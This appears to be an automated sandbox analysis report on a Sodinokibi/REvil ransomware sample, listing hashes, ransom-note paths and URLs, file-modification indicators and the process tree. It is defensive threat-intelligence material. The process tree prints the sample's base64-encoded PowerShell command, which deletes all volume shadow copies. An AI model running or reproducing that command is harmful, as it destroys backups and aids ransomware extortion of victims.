Analysis
-
max time kernel
192s -
max time network
209s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
30-12-2023 02:50
Behavioral task
behavioral1
Sample
0c280ffb12537bca109724ec89d1ccc6.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
0c280ffb12537bca109724ec89d1ccc6.exe
Resource
win10v2004-20231215-en
General
-
Target
0c280ffb12537bca109724ec89d1ccc6.exe
-
Size
179KB
-
MD5
0c280ffb12537bca109724ec89d1ccc6
-
SHA1
a8d5d8d5d1b8f288e919fe303787c5e1869ad653
-
SHA256
a728d45de941ca5730401f224c80fa1dcc2224477e309f5e4a1de8276939dfbf
-
SHA512
13c15edf4f022f74b3dd57cc203dc5a6bdde773a85ae83df772d536dd4c538ac11415a7c5d8fbb8b39e5e27c52d869a4b5cb19eb7c21c799e4bd8a53440b568a
-
SSDEEP
3072:yEa2d8CfSXceqmPDu4lPZU/CZtpysa8ustqzhy2Is80nwnyxVps:ACqlPDuGPG/abesYzg2I70nqoDs
Malware Config
Extracted
C:\Recovery\2j5k85h2iq-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6647887021D9C3B7
http://decryptor.top/6647887021D9C3B7
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription ioc process File opened (read-only) \??\E: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\M: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\Q: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\V: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\A: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\K: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\N: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\P: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\F: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\L: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\O: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\R: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\T: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\J: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\G: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\S: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\Z: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\D: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\I: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\Y: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\B: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\H: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\U: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\W: 0c280ffb12537bca109724ec89d1ccc6.exe File opened (read-only) \??\X: 0c280ffb12537bca109724ec89d1ccc6.exe -
Drops file in Program Files directory 26 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription ioc process File opened for modification \??\c:\program files\CloseRedo.odp 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\AssertPush.m4v 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\DebugMerge.docx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\EditCompress.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\FindJoin.vsd 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UnpublishStart.xltx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\FindExit.mht 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\PushLock.vst 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ResetUnprotect.clr 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\SkipPing.xlt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\GroupLimit.pcx 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\HideLimit.au3 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\InvokeExit.pub 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\WaitAdd.pdf 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files (x86)\2j5k85h2iq-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\GetRename.xls 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\DisableSend.mp2v 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\RevokeExit.contact 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ShowStart.tif 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\TraceSelect.cfg 0c280ffb12537bca109724ec89d1ccc6.exe File created \??\c:\program files\2j5k85h2iq-readme.txt 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\DismountJoin.wdp 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\EnterOpen.i64 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\MeasureGrant.htm 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\ResetClear.vsdm 0c280ffb12537bca109724ec89d1ccc6.exe File opened for modification \??\c:\program files\UnblockRestore.TS 0c280ffb12537bca109724ec89d1ccc6.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exepowershell.exepid process 796 0c280ffb12537bca109724ec89d1ccc6.exe 796 0c280ffb12537bca109724ec89d1ccc6.exe 4472 powershell.exe 4472 powershell.exe 4472 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4472 powershell.exe Token: SeBackupPrivilege 1812 vssvc.exe Token: SeRestorePrivilege 1812 vssvc.exe Token: SeAuditPrivilege 1812 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
0c280ffb12537bca109724ec89d1ccc6.exedescription pid process target process PID 796 wrote to memory of 4472 796 0c280ffb12537bca109724ec89d1ccc6.exe powershell.exe PID 796 wrote to memory of 4472 796 0c280ffb12537bca109724ec89d1ccc6.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6.exe"C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6.exe"1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4472
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3724
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1812
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD59b935e26838a26768318ebaf580d9f61
SHA1968ed216f3c2719fd28fa684f9ac2d697a40179d
SHA25646960391acd6a7e8c3cb3a40b3faab1f9764ed7d6f3c2bef2779121f50a01119
SHA5128fddac2d3ac49f098182993f69413e7ce222695075791cc175a1a6d6e7e0f8180ee67019676915bdbe23c05f8190b1111ae3ec5d07de18a09162db355625ae66
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82